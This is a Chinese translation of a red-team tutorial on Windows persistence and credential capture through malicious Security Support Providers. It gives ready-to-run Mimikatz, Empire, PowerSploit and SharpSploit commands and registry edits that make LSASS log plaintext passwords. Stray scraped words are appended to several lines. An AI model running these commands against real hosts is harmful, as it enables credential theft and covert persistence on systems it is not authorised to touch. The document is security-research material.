安全支持提供程序(SSP)是Windows API,用於擴展Windows身份驗證機制。LSASS進程正在Windows啓動期間加載安全支持提供程序DLL。這種行爲使紅隊的攻擊者能夠刪除一個任意的SSP DLL以便與LSASS進程進行交互並記錄該進程中存儲的全部密碼,或者直接用惡意的SSP對該進程進行修補而無需接觸磁盤。
該技術可用於收集一個系統或多個系統中的憑據,並將這些憑據與另外一個協議(例如RDP,WMI等)結合使用,以避免干擾檢測,從而在網絡中保持持久性。向主機注入惡意安全支持提供程序須要管理員級別的特權,而且可使用兩種方法:python
Mimikatz,Empire和PowerSploit支持這兩種方法,能夠在紅隊操做中使用。git
項目Mimikatz提供了一個DLL文件(mimilib.dll),能夠將其放到與LSASS進程(System32)相同的位置,以便爲訪問受感染主機的任何用戶得到純文本憑據。github
C:\Windows\System32\
將文件傳輸到上述位置後,須要修改註冊表項以包括新的安全支持提供程序mimilib。shell
reg add "hklm\system\currentcontrolset\control\lsa\" /v "Security Packages" /d "kerberos\0msv1_0\0schannel\0wdigest\0tspkg\0pku2u\0mimilib" /t REG_MULTI_SZ![](http://static.javashuo.com/static/loading.gif)
SSP – mimilib註冊表安全
查看「安全軟件包」註冊表項將驗證是否已注入惡意安全支持提供程序。markdown
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\Security Packages
註冊表–安全軟件包網絡
因爲註冊表已被篡改而且DLL存儲在系統中,所以該方法將在從新啓動後繼續存在。當域用戶再次經過系統進行身份驗證時,將建立一個名爲kiwissp的新文件,該文件將記錄賬戶的憑據。app
C:\Windows\System32\kiwissp.log
Mimikatz – kiwisspide
另外,Mimikatz經過向LSASS注入新的安全支持提供程序(SSP)來支持內存技術選項。此技術不須要將mimilib.dll放入磁盤或建立註冊表項。可是,缺點是在從新啓動過程當中不會持續存在。學習
privilege::debug misc::memssp
Mimikatz –內存中的SSP
當用戶再次經過系統進行身份驗證時,將在System32中建立一個日誌文件,其中將包含純文本用戶密碼。
C:\Windows\System32\mimilsa.log
Mimikatz – mimilsa
Empire提供了兩個模塊,可用於枚舉現有的SSP並在目標系統上安裝惡意的SSP。默認狀況下,枚舉模塊將使用活動代理,而且不須要任何其餘配置。
usemodule persistence/misc/get_ssps execute
Empire – SSP 枚舉
一樣,直接查詢註冊表能夠獲取存在的SSP的值。
shell reg query hklm\system\currentcontrolset\control\lsa\ /v "Security Packages"![](http://static.javashuo.com/static/loading.gif)
註冊表SSP的枚舉註冊表
將惡意安全支持提供程序複製到System32並更新註冊表項將結束該技術。
shell copy mimilib.dll C:\Windows\System32\
將mimilib.dll複製到System32
因爲Empire包含一個模塊,該過程能夠自動進行,該模塊將自動將DLL文件複製到System32並建立註冊表項。惟一的要求是在主機上設置mimilib.dll文件的路徑。
usemodule persistence/misc/install_ssp* set Path C:\Users\Administrator\mimilib.dll execute
Empire SSP安裝
Empire還支持能夠執行自定義Mimikatz命令的腳本。
usemodule credentials/mimikatz/command set Command misc::memssp execute
Mimikatz – SSP命令
Empire還支持在進程的內存中注入惡意SSP。下面的模塊將調用Mimikatz腳本並直接執行memssp命令,做爲使該技術自動化的另外一種方法。
usemodule persistence/misc/memssp* execute
Empire – memssp
PowerSploit包含兩個能夠執行相同任務的腳本。在Mimikatz的PowerShell變體「 Invoke-Mimikatz 」中,執行如下命令將使用內存中技術。
Import-Module .\Invoke-Mimikatz.ps1
Invoke-Mimikatz -Command "misc::memssp"![](http://static.javashuo.com/static/loading.gif)
PowerSploit – Mimikatz SSP
或者,將惡意的SSP DDL文件傳輸到目標主機並使用模塊Install-SSP將DLL複製到System32,並將自動修改相關的註冊表項。
Import-Module .\PowerSploit.psm1 Install-SSP -Path .\mimilib.dll
PowerSploit –安裝SSP
Mimikatz已集成到SharpSploitConsole中,該應用程序旨在與Ryan Cobb發佈的SharpSploit進行交互。SharpSploit是一個.NET後期開發庫,具備與PowerSploit相似的功能。當前,SharpSploitConsole經過Mimikatz模塊支持內存技術。
SharpSploitConsole_x64.exe Interact Mimi-Command misc::memssp
SharpSploitConsole – memssp
譯文聲明:本文由Bypass整理並翻譯,僅用於安全研究和學習之用。
原文地址:https://pentestlab.blog/2019/10/21/persistence-security-support-provider/